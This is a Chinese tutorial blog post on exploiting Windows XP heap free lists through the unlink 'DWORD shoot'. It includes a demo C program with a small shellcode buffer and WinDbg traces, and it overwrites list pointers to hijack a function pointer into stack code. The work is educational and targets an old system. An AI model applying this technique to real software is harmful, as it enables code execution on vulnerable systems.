频道栏目
首页 > 资讯 > 其他综合 > 正文

xp下堆溢出DWORD SHOOT狙击空闲表

17-02-08        来源:[db:作者]  
收藏   我要投稿

xp下堆溢出DWORD SHOOT狙击空闲表:前面写过通过堆溢出利用快表,这次我的目标是利用空闲表。千万不要觉得这是炒作话题,利用空闲表比利用快表要复杂很多。

因此希望读者不要在开头就弃篇。另外本文的定位是读者已经看过Oday安全软件漏洞第5章和软件调试第23章相关内容,对windows堆块管理有一定的认知。

正式开始前,先来看个重要的数据结构LIST_ENTRY--双向链表的链接节点_HEAP!FreeLists[128]数组的数组元素正是这样的元素:

typedef struct _LIST_ENTRY
{
    struct _LIST_ENTRY* FLink;
    struct _LIST_ENTRY* BLink;
}LIST_ENTRY;
随着大量容器库的涌现,这种原始的需要程序员自己维护内存的结构逐渐退居二线,但是R0的代码里它的身影依然到处可见,堆管理器也用这个结构管理堆块。为了便于读者理解及更好的阐述DWORD shoot的原理,我还是简单的介绍一下这个结构的用法。

 

//双向列表插入
void InsertTailList(
     PLIST_ENTRY  ListHead,
     PLIST_ENTRY  Entry
    )
{
	Entry->Blink = ListHead->Blink;
        Entry->Flink = ListHead;
	ListHead->Blink->Flink = Entry;
        ListHead->Blink = Entry;
}
//删除链表节点,狙击空闲表的精髓就是这个函数
unsigned char 
  RemoveEntryList(
     PLIST_ENTRY  Entry
    )
{
    if(Entry->Flink == Entry)
        return 0;
    Entry->Flink->Blink = Entry->Blink;
    Entry->Blink->Flink = Entry->Flink;
    return 1;
}

有了上面的铺垫,我开始继续介绍狙击空闲链表。示例程序如下(其实是对0day安全第五章的代码略作改动):

 

#include 

typedef int (*PFN_fn)();

int func1()
{
	printf("func1\n");
	return 0;
}

int main(int argc, char* argv[])
{
	/*
	lea eax,func1;
	jmp eax;
	*/
	char buff[] = {"\x90\x90\x90\x90\x90\x90\x90\x90\x8D\x05\xCC\x10\x40\xCC\xFF\xE0"};
	PFN_fn execStack = NULL;
	printf("execStack:%08x\nbuff:%08x\nfunc1:%08x\n",&execStack,buff,func1);
	buff[10] = 0x00; //buff[10]本应该是0x00,但初始化字符串数组时遇到0x00会截断后面的字符串,因此需要在初始化之前写个非零值,然后再改回来
	buff[13] = 0x00;

	{
		HLOCAL h1, h2,h3,h4,h5,h6;
		HANDLE hp;
		int i = 0;
		hp = HeapCreate(0, 0x1000, 0x10000);
		h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
		h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
		h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
		h4 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
		h5 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
		h6 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
		
		HeapFree(hp, 0, h1);
		HeapFree(hp, 0, h3);
		HeapFree(hp, 0, h5);

		_asm int 0x3;
		h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8); //a)
	}

	(*execStack)();

	return 0;
}

重要的一点:创建堆时,如果标记堆为可扩展堆,则会启动快表分配,影响这次实验的过程(前面两篇xp下调试堆溢出 就是以HeapCreate(0,0,0);的形式创建扩展堆,进而溢出快表)。而这次代码中用HeapCreate(0,0x1000,0x10000);的形式创建不可扩展堆。

先调试正常情况下从空闲表分配堆块的流程(执行到a处时空闲表FreeList[2]的变化):

1).程序从int 3异常返回时:

 

0:000> p
push    esi ;向堆栈中传入堆句柄
0:000> r @esi
esi=003a0000 ;CreateHeap创建的堆句柄
0:000> p
call    edi {ntdll!RtlAllocateHeap (7c9300a4)}
0:000> dt _PEB @$peb
ntdll!_PEB
+0x088 NumberOfHeaps    : 7
+0x090 ProcessHeaps     : 0x7c99cfc0  -> 0x00140000 Void
0:000> dd 0x7c99cfc0 L6
7c99cfc0  00140000 00240000 00250000 00380000
7c99cfd0  003a0000 003b0000
0:000> dt _HEAP 003a0000 ;查看堆的空闲列表数组.数组项是大小为8B的LIST_ENTRY,因此FreeList[2]地址为0x3a0188
ntdll!_HEAP
+0x178 FreeLists        : [128] _LIST_ENTRY [ 0x3a06e8 - 0x3a06e8 ]
0:000> dd 3a0178 
003a0178  003a06e8 003a06e8 003a0180 003a0180
003a0188  003a0688 003a06c8 003a0190 003a0190
2).程序调用HeapAlloc时会以FreeList[2]->Blink参数调用RemoveEntryList,并执行如下操作:

 

 

Entry->Flink->Blink = Entry->Blink;
Entry->Blink->Flink = Entry->Flink;
其中Entry就是上面提到的FreeList[2]->Blink:

 

 

0:000> dt _LIST_ENTRY 003a0188  
ntdll!_LIST_ENTRY
 [ 0x3a0688 - 0x3a06c8 ]
   +0x000 Flink            : 0x003a0688 _LIST_ENTRY [ 0x3a06a8 - 0x3a0188 ]
   +0x004 Blink            : 0x003a06c8 _LIST_ENTRY [ 0x3a0188 - 0x3a06a8 ]
;003a0188+0x04处内存的值是即将被参入RemoveEntryList作为参数Entry的freelist[2]->Blink
0:000> dd 003a0188+0x04 L1
003a018c  003a06c8

;因为RemoveEntryList是对Entry->Flink和Entry->Blink进行操作,所以需要
;查看这两个指针变量的值
0:000> dt _LIST_ENTRY 0x003a06c8 ;RemoveEntryList的参数Entry
ntdll!_LIST_ENTRY
 [ 0x3a0188 - 0x3a06a8 ]
   +0x000 Flink            : 0x003a0188 _LIST_ENTRY [ 0x3a0688 - 0x3a06c8 ]
   +0x004 Blink            : 0x003a06a8 _LIST_ENTRY [ 0x3a06c8 - 0x3a0688 ]
;Entry->Flink的内存地址为0x3a06c8+0x00,内存0x3a06c8处的值为0x3a0188
0:000> dd 0x3a06c8+0x00 L1 
003a06c8  003a0188 
Entry->Flink->Blink的内存地址为0x003a0188+0x04,内存0x003a018c处的值为0x3a06c8
0:000> dd 003a0188+0x04 L1
003a018c  003a06c8

;Entry->Blink的内存地址为0x3a06c8+0x04,内存0x3a06cc处的值为0x3a06a8
0:000> dd 0x3a06c8+0x04 L1
003a06cc  003a06a8 
;Entry->Blink->Flink的内存地址为0x003a06a8+0x00,内存0x003a06a8处的值为0x3a06c8

;下面分解Entry->Flink->Blink = Entry->Blink;的操作
;以Entry->Blink内存处的值(0x3a06a8)修改Entry->Flink->Blink内存(0x003a018c)处的值(0x3a06c8)
;可以预见当HeapAlloc返回,内存地址0x003a018c处的值为0x3a06a8

;接着分解Entry->Blink->Flink = Entry->Flink;的操作
;以Entry->Flink内存处的值(0x3a0188)修改Entry->Blink->Flink内存(0x003a06a8)处的值(0x3a06c8)
;可以预见当HeapAlloc返回,内存地址0x003a06a8处的值为0x3a06188
0:000> p
list+0x10df:
004010df ff55fc          call    dword ptr [ebp-4]    ss:0023:0012ff7c=00000000
0:000> dd 0x003a018c L1
003a018c  003a06a8
0:000> dd 0x003a06a8 L1
003a06a8  003a0188
;换言之FreeList[2]->Flink的值为003a06a8
0:000> dd 3a0178
003a0178  003a06e8 003a06e8 003a0180 003a0180
003a0188  003a0688 003a06a8 003a0190 003a0190

由于堆管理器并不验证Entry->Flink和Entry->Blink地址合法性,而执行Entry->Blink->Flink = Entry->Flink;时有一次将源地址赋值给目的指针变量的过程.因此留给我们做溢出的大好机会:一般以Entry->Blink->Flink作为执行者(会发生如 call [Entry->Blink->Flink]的情况),如c++的虚函数更或者本例中的函数指针(原因后面分析),Entry->Flink作为可执行代码的首地址赋给Entry->Blink->Flink。

至于为什么选Entry->Blink->Flink作为执行者?得从2方面来回答,1)Entry->Blink->Flink和Entry->Flink->Blink都是被赋值的对象,因此有被恶意地址修改的可能,这点很重要;2)

Entry->Blink->Flink和Entry->Blink具有相同的内存地址,不用加上4B偏移,方便定位.正因为Entry->Blink->Flink和Entry->Blink具有相同的内存地址,所以我们只需要同时提供Entry->Flink和Entry->Blink的值(溢出用户堆内存,直到下一块空闲堆的LIST_ENTRY结构),就能完成一次DWORD shoot.

基于上面结论,我们来手动修改Entry->Flink和Entry->Blink的值,使得execStack指向func1.已知execStack函数指针的地址为0x12ff7c(前面说的会被调用的执行者)buff的地址是0x12ff60(可执行段的地址).因此,套用上面的规律:修改地址Entry->Flink处的值为0x12ff60 修改地址Entry->Blink处的值为0x12ff7c然后执行.

 

0:000> dd 3a06c8 l2
003906c8  003a0188 003a06a8
0:000> ed 3a06c8 12ff60
0:000> ed 3a06cc 12ff7c
0:000> p
eax=003a06c8 ebx=77f51597 ecx=77f5180b edx=00000008 esi=003a0000 edi=77f516f8
eip=004010df esp=0012ff54 ebp=0012ff80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000246
dworshoot+0x10df:
004010df ff55fc          call    dword ptr [ebp-4]    ss:0023:0012ff7c=0012ff60
0:000> dd 12ff7c ;经过HeapAlloc后execStack指向了可执行栈buff的首地址
0012ff7c  0012ff60 0012ffc0 004011d5 00000001 ;execStack NULL 12ff60
0:000> dd 12ff60 l4
0012ff60 90909090 0012ff7c 1000058d e0ff0040
最后贴上控制台输出结果,execStack执行buff中的shellcode向屏幕打印func1

 

相关TAG标签
上一篇:TCP/IP编程之SO_REUSEADDR和SO_REUSEPORT套接字选项
下一篇:win10激活工具 win10激活一键完美激活
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站